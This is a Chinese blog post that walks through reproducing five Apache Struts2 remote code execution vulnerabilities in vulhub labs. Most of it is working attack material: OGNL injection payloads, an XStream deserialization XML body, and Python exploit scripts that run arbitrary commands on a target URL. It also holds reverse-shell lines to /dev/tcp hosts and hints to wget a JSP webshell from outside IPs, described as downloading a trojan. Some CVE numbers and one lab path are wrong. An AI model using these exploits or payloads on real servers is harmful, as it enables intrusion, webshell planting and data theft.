漏洞复现|Struts2系列漏洞复现总结

作者: r0n1n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

Struts2-045(CVE-2017-5683)

0x01 漏洞描述

Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析。其在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,在此异常的处理中会对错误信息进行OGNL表达式解析。

0x02 影响版本

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

0x03 测试环境

1、使用vulhub

cd ./vulhub-master/influxdb/unacc
docker-compose up -d

2、访问http://your-ip:8080/
漏洞复现|Struts2系列漏洞复现总结

0x04 漏洞复现


Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='命令').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

漏洞复现|Struts2系列漏洞复现总结

Struts2-048(CVE-2017-9791)

0x01 漏洞描述

使用了Apache Struts 1插件的Apache Struts 2.3.X版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2的兼容性。在Struts2中的Struts1插件启用的情况下,远程恶意访问者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限。

0x02 影响版本

2.0.0 - 2.3.32

0x03 测试环境

1、使用vulhub

cd ./vulhub//struts2/s2-048$
docker-compose up -d

2、访问http://your-ip:8080//showcase/
漏洞复现|Struts2系列漏洞复现总结

0x04 漏洞复现

漏洞复现|Struts2系列漏洞复现总结
漏洞复现|Struts2系列漏洞复现总结
检测存在漏洞,然后执行命令

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
"/bin/bash","-c","bash -i >& /dev/tcp/192.168.236.129/2333 0>&1"

漏洞复现|Struts2系列漏洞复现总结

Struts2-052(CVE-2017-9805)

0x01 漏洞描述

当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML有效载荷时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。

0x02 影响版本

 Struts 2.1.2 - Struts 2.3.33
 Struts 2.5 - Struts 2.5.12

0x03 测试环境

1、使用vulhub

cd ./vulhub//struts2/s2-052$
docker-compose up -d

2、访问http://your-ip:8080/orders.xhtml
漏洞复现|Struts2系列漏洞复现总结
0x04 漏洞复现
修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,可在Body中传递XML数据。

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>bash</string>
                        <string>-c</string>
                        <string>bash -i >&amp; /dev/tcp/x.x.x.x/port 0>&amp;1</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

漏洞复现|Struts2系列漏洞复现总结
漏洞复现|Struts2系列漏洞复现总结

0x05 POC

import requests
import argparse
import re

parser = argparse.ArgumentParser()
parser.add_argument('url',help='Target url')
parser.add_argument('cmd',help='Run command')
args = parser.parse_args()

list = []

def spider(url):

  global list

  r = requests.get(url)
  
  html = r.text
  
  links = re.findall(r'(?<=href=\").+?(?=\")',html)
  
  for u in links:

    if not re.findall(url,u):
    
      list.append(url + str(u))
    
    else:
    
      list.append(u)

def attack(cmd):

  global list
  
  for u in list:
  
    url = u

    headers = {"Content-Type":"application/xml"}

    cmd = cmd

    data = '''<map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>{cmd}</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    </map> 
    '''.format(cmd=cmd)

    r = requests.get(url,data=data,headers=headers)

    if r.status_code == 500:
    
      print ('exploit success!')
      
    else:
    
      print ('exploit fail')

if args.url and args.cmd:

  spider(args.url)
  attack(args.cmd)

Struts2-053(CVE-2017-12611)

0x01 漏洞描述

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

0x02 影响版本

    Struts 2.1.2 - Struts 2.3.33
    Struts 2.5 - Struts 2.5.12

0x03 测试环境

1、使用vulhub

cd ./vulhub//struts2/s2-053$
docker-compose up -d

2、访问http://your-ip:8080/hello.action看到一个提交页面
漏洞复现|Struts2系列漏洞复现总结

0x04 漏洞复现

漏洞复现|Struts2系列漏洞复现总结

0x05 POC

import requests
import sys
from lxml import html

class Exploit:
    def exp(self,url,cmd):
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Referer':'http://96.63.216.104:8080/hello.action','Connection':'close','Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246','Upgrade-Insecure-Requests':'1','Cache-Control':'max-age=0'}
        params={"redirectUri":"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"+"\n"}
        r=requests.post(url,headers=headers,params=params)
        page=r.text
        etree=html.etree
        page=etree.HTML(page)
        data=page.xpath('//body/p')
        print(data[0].text)

if __name__=='__main__':
    if len(sys.argv)!=3:
        print('+-------------------------------------------------------------------------------+')
        print('+ USE: python3 <filename> <url> <command>                                       +')
        print('+ EXP: python3 struts2-053_command.py http://1.1.1.1:7001/hello.action id       +')
        print('+ VER: Struts 2.0.1-2.3.33                                                      +')
        print('+      Struts 2.5-2.5.10                                                        +')
        print('+-------------------------------------------------------------------------------+')
        print('+ GET: wget -P /usr/local/tomcat/webapps/ROOT/ 2.2.2.2/shell.jsp                +')
        print('+-------------------------------------------------------------------------------+')
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
    attack=Exploit()
    attack.exp(url,cmd)

Struts2-057(CVE-2017-11776)

0x01 影响版本

版本:<= Struts 2.3.34
Struts 2.5.16

0x02 测试环境

1、使用vulhub

cd ./vulhub//struts2/s2-057$
docker-compose up -d

访问http://your-ip:8080/showcase

0x03 漏洞复现

http://ip:8080/showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

漏洞复现|Struts2系列漏洞复现总结

0x04 POC

import requests
import sys
from lxml import html

class Exploit:
    def __init__(self):
        self.payload="/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('"+cmd+"')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D"
    def exp(self,url,cmd):
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Referer':'http://96.63.216.104:8080/actionchaining/register2.action','Connection':'close','Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246','Upgrade-Insecure-Requests':'1','Cache-Control':'max-age=0'}
        tturl=url+"/struts2-showcase/"+"%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('"+cmd+"')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D"+"/actionChain1.action"
        r=requests.get(tturl,headers=headers)
        page=r.text
        etree=html.etree
        page=etree.HTML(page)
        data=page.xpath('//footer/div[1]/p[1]/a[1]/@*')
        print(data)

if __name__=='__main__':
    print('+------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url> <command>                    +')
    print('+ EXP: python3 struts2-057_command.py http://1.1.1.1:9081 id +')
    print('+ VER: Struts 2.0.4-2.3.34                                   +')
    print('+      Struts 2.5.0-2.5.16                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-057 远程执行漏洞 && CVE-2018-11776                      +')
    print('+------------------------------------------------------------+')
    if len(sys.argv)!=3:
        print("[+]ussage: http://ip:端口 cmd命令")
        print("[+]hint:wget%20-P%20/usr/local/tomcat/webapps/ROOT/%2096.63.216.104/1.jsp 下载木马")
        print("[+]===============================================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
    attack=Exploit()
    attack.exp(url,cmd)

了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
漏洞复现|Struts2系列漏洞复现总结

上一篇:struts2——struts.xml配置文件详解


下一篇:struts2学习笔记